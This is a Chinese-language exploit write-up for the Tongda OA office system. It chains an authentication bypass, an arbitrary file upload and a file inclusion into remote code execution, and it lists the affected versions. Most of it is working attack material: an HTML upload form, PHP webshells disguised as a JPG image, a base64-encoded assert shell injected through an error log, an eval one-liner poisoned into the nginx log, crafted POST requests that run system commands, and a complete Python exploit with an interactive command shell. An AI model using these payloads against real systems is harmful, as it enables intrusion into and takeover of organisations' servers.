0x01 简介
通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
0x02 漏洞概述
通过绕过身份认证, 攻击者可上传任意文件,配合文件包含即可出发远程恶意代码执行。
0x03 影响版本
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017
注:有些版本的漏洞文件ateway.php路径不一样
例如2013:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/ispirit/interface/gateway.php
例如2017:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/mac/gateway.php
例如2019:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/ispirit/interface/gateway.php
C:\MYOA>dir /s /b gateway.php
C:\MYOA\webroot\mac\gateway.php
2015没有文件包含,官方给的补丁2017的没有修复文件包含,所以还有很多种包含日志文件getshell的姿势,不一定要文件上传。
http://www.0-sec.org/api/ddsuite/error.php
POST:message=<?php file_put_contents("2.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUE9TVFsxXSk7Pz4="));?>52011
然后包含
http://www.0-sec.org/mac/gateway.php
POST:json={"url":"..\/..\/logs\/oa\/2003\/dd_error.log"}
在http://192.168.124.138/mac/2.php就是shell密码1
复现参考
https://www.cnblogs.com/yuyan-sec/p/12549237.html
http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/13.html
复现环境
链接:https://pan.baidu.com/s/1QFscmlyGOhNNodNZOADNSA 提取码:6fe0
通达2019 11.3版本
192.168.247.131:81
1.构造html上传页面(标记的就是目标地址)
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
2.制作图片马,以下代码保存为456.jpg
<?php
//保存为jpg
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
3.打开html,选择文件,然后上传456.jpg
2004是文件夹名,1395154060|456.jpg是文件名,要把 | 修改成点 ,即:1395154060.456.jpg
4. 请求相对应版本的gateway.php ,修改对应版本路径文件,和对应图片马上传的路径和文件名
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.247.131:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=1; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=1ac017c0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76 json={"url":"/general/../../attach/im/2004/1395154060.456.jpg"}&cmd=net user
实则就是包含了上传的图片马,然后执行了命令
---------------------------------------------------------------
1. 抓取数据包来发送一句话木马代码,不能直接在浏览器访问,因为那样符号会被浏览器编码的
<?php @eval($_POST[c]);?>
2.由于是本地环境搭建,那么可以查看一下nginx的日志是不是记录了一句话(实战环境可忽略这一步)
也确实是把一句话记录在日志里
3.那么来包含这个nginx的日志来getshell ,菜刀连接,密码 c (注:一定要用老版的菜刀,不要连不上,新版不支持这个url格式会报错)
http://192.168.247.131:81/ispirit/interface/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}
成功连接
附上一个脚本,但是好像因为环境问题没有利用成功,有环境再试吧。
import requests,sys def poc():
global url
upload = url+"/ispirit/im/upload.php"
cmdshell = """
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
"""
files = {"ATTACHMENT": cmdshell}
upload_post = {
"UPLOAD_MODE":2,
"P":123,
"DEST_UID":2
}
r = requests.post(upload,upload_post,files=files)
path = r.text
path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")
return path def exp():
global url
path = poc()
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
include = url+"/ispirit/interface/gateway.php"
while 1:
cmd = input("$ ")
include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd
req = requests.post(url=include, data=include_post,headers=headers)
print(req.text)
if cmd == 'exit':
break if __name__ == '__main__':
try:
url = sys.argv[1]
print(""" ______ ___ ____ ____ ___ ____ ____ __ ___
| | / \ | \ / | | \ / | | \ / ] / _]
| || || _ || __| | \ | o | | D ) / / / [_
|_| |_|| O || | || | | | D || | | / / / | _]
| | | || | || |_ | | || _ | | \ / \_ | [_
| | | || | || | | || | | | . \\ || |
|__| \___/ |__|__||___,_| |_____||__|__| |__|\_| \____||_____| """)
poc()
exp()
except:
print("python "+sys.argv[0]+" http://127.0.0.1")